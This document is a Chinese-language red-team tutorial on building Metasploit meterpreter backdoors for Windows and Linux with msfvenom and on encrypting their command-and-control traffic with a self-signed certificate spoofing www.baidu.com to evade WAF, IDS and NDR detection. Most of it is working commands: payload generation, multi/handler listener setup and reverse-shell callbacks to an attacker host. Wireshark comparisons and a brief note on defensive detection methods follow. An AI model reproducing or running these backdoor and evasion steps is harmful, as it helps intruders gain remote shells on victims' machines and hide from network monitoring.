0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01背景描述

在攻防对抗过程中的横行渗透,经常需要msf进行攻击操作,如果msf上线shell过程中流量是明文传输,那么内网环境中已有的安全检测产品(WAF/IPS/IDS/NDR/HIDS)等防护软件会进行流量检测,明文传输带有明显的攻击特征。很快会被检测发现,防守方对攻击流量回溯分析,就会阻断攻击行为。

0x02明文流量

win环境

1.生成上线后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12377 -f exe > yun.exe

2.设置msf监听

3.成功上线shell

将生成的后门程序上传到目标服务器进行执行。

后门上线

4.分析流量

通过Wireshark抓包分析流量,整个通信过程全部为明文传输

通信过程由受害主机发起

过滤tcp目的端口

tcp.dstport == 12377

追踪tcp数据流

通过分析可以发现,该tcp连接由服务器端发起,传输数据为明文信息

Linux环境

1.生成上线后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 -f elf > yun.elf

2.设置msf监听

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcppayload => linux/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.86.2lhost => 192.168.86.2msf5 exploit(multi/handler) > set lport 12399lport => 12399msf5 exploit(multi/handler) >

3.成功上线shell

将生成的后门程序上传到目标服务器进行执行。

获取meterpreter会话

4.分析流量

通过Wireshark抓包分析流量,整个通信过程全部为明文传输

通信过程由受害主机发起

过滤tcp目的端口

tcp.dstport == 12399

追踪tcp数据流

通过分析可以发现,该tcp连接由服务器端发起,传输数据为明文信息

0x03加密流量(windows)

通过使用OpenSSL流量加密

1.生成OpenSSL证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509-subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com"-keyout www.baidu.com.key-out www.baidu.com.crt &&cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem &&rm -f www.baidu.com.key www.baidu.com.crt

2.使用证书生成后门

windows

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.86.2 LPORT=4433 PayloadUUIDTracking=true HandlerSSLCert=www.baidu.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o zui.exe

bat后门

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.86.2 LPORT=4433 PayloadUUIDTracking=true HandlerSSLCert=www.baidu.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o zui.bat

3.设置msf监听

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_winhttpspayload => windows/x64/meterpreter/reverse_winhttpsmsf5 exploit(multi/handler) > set lhost 192.168.86.2lhost => 192.168.86.2msf5 exploit(multi/handler) > set lport 4433lport => 4433msf5 exploit(multi/handler) > set handlersslcert www.baidu.com.pemhandlersslcert => www.baidu.com.pemmsf5 exploit(multi/handler) > set stagerverifysslcert true

3.成功上线shell

注意:windows 7环境下通过OpenSSL流量加密无法上线成功!

以下是运行结果

连接超时无法上线

更换window10 环境,成功上线

执行程序,获取会话

4.分析流量

通过Wireshark抓包分析流量,整个通信过程全部为加密流量传输

通信过程由受害主机发起

过滤tcp目的端口

tcp.dstport == 4433

追踪tcp数据流

通过分析可以发现,该tcp连接由服务器端发起,传输数据为加密信息

0x04思考

安全的本质就是对抗!针对加密流量的检测,传统的基于特征的检测已经无法满足攻击发展的趋势,只有通过不断引入新的检测思考才能解决。

加密流量的检测,业界主流有2种方法:

第一种是将加密流量进行解密并进行检测,这需要安全检测设备充当通信双方的代理或者由客户提供单独的解密证书(只能针对该证书对应的加密流量进行解码)

第二种是在不解密的情况下进行安全检测,这通常会采用(AI)机器学习的方法。

当然对攻击行为的感知,也可以通过威胁狩猎发现。